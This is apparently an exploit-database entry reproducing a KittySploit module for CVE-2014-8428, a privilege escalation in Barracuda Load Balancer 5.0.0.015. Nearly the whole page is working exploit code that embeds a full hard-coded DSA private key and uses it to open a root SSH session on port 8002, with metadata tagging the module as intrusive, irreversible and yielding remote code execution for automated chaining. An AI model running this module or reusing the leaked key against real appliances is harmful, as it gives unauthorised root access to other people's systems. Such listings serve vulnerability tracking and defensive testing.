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Barracuda load balancer Priv Key

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
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Privilege escalation in Barracuda Load Balancer via an improperly protected SSH key.

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Code
from kittysploit import *
from lib.protocols.ssh.ssh_client import Ssh_client
from lib.exploit.handler import Handler

class Module(Exploit, Ssh_client, Handler):


	__info__ = {
			'name': 'Barracuda load balancer Priv Key',
			'description': 'Privilege escalation vulnerability in Barracuda Load Balancer 5.0.0.015 via the use of an improperly protected SSH key.',
			'cve': '2014-8428',
			'payload': {
				'default':'nopayload',
				},
		'agent': {
		    'risk': 'intrusive',
		    'effects': ['active_exploitation'],
		    'expected_requests': 2,
		    'reversible': False,
		    'approval_required': True,
		    'produces': ['exploit_paths', 'risk_signals'],
		    'cost': 1.5,
		    'noise': 0.5,
		    'value': 1.0,
		    'requires': 		    {'min_endpoints': 0,
		     'min_params': 0,
		     'tech_hints_any': [],
		     'tech_hints_all': [],
		     'specializations_any': [],
		     'risk_signals_any': [],
		     'auth_session': False,
		     'capabilities_any': [],
		     'capabilities_all': [],
		     'confidence_min': {},
		     'confidence_min_any': {},
		     'endpoint_pattern_any': [],
		     'param_any': [],
		     'api_surface_ready': False},
		    'chain': 		    {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
		     'consumes_capabilities': [],
		     'option_bindings': {},
		     'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
		},
		}

	def run(self):
		key_data = """
-----BEGIN DSA PRIVATE KEY-----
MIIBuwIBAAKBgQDKuRHCBXXwoyWpMkJz/wQafaHOpqWmVYLn9GZ6eQuNLcIhtZQE
kCWZTNajgf4ZAVmHgQh1JHDixJ1V0mcweti/lvyxiqHap7IkD0a+ewAOoz3OpjQZ
3ox2ovHEnQJfZ/9LNiEI3XK8TPAj6trhMn5tCdwFei6228a+TYBOccTPgwIVAKYW
T8ztHHaN7Gwn0I6keQfBSNw1AoGAHYNfKAcqf7Y4wyoVoZpr/h21SETpEaksQb7h
GRJnFpYN/JiyE9W8nX6UqLv1eKyOXLccAnyda0a+uqcOhsAq8+H15slZYa4+065L
ckPfs0V4cpxeMHTT1hK4TR2/LRpUjhYjgXFE5aLl91f5Gug5HemUK2S0BWh/oI38
k2WfNh0CgYEArsJgp7RLPOsCeLqoia/eljseBFVDazO5Q0ysUotTw9wgXGGVWREw
m8wNggFNb9eCiBAAUfVZVfhVAtFT0pBf/eIVLPXyaMw3prBt7LqeBrbagODc3WAA
dMTPIdYYcOKgv+YvTXa51zG64v6pQOfS8WXgKCzDl44puXfYeDk5lVQCFAPfgalL
+FT93tofXMuNVfeQMLJl
-----END DSA PRIVATE KEY-----
		"""
		client = self.open_ssh(port=8002, user="root")
		connection = client.login_dsa(key_data)
		if connection:
			self.handler_ssh(connection)
		else:
			self.not_vulnerable()

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10 Jul 2026 11:31Current
5.9Medium risk
Vulners AI Score5.9
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